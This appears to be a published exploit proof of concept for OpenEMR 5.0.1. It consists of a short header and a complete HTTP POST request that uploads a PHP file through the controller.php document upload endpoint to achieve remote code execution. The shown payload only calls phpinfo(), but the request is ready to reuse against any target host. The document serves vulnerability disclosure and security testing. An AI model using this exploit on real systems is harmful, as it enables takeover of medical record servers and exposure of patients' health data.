OpenEMR 5.0.1 - 'controller' Remote Code Execution

# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution
# Date: 2020-06-22
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
# Version: v5.0.1
# Tested on: Linux

# Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities

# PoC

To exploit vulnerability, someone could use
'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'
post request to upload malicious php codes.

POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
Content-Type: multipart/form-data;
boundary=---------------------------141194333536146869123947219434
Content-Length: 842
Origin: http://172.16.155.140
DNT: 1
Connection: close
Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;
TreeMenuBranchStatus=objTreeMenu_1_node_1_9;
PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;
LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;
YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D
Upgrade-Insecure-Requests: 1

-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="MAX_FILE_SIZE"

64000000
-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="file[]"; filename="shell_info.php"
Content-Type: text/php

<?php
phpinfo();
?>
-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="destination"


-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="patient_id"

00
-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="category_id"

4
-----------------------------141194333536146869123947219434
Content-Disposition: form-data; name="process"

true
-----------------------------141194333536146869123947219434--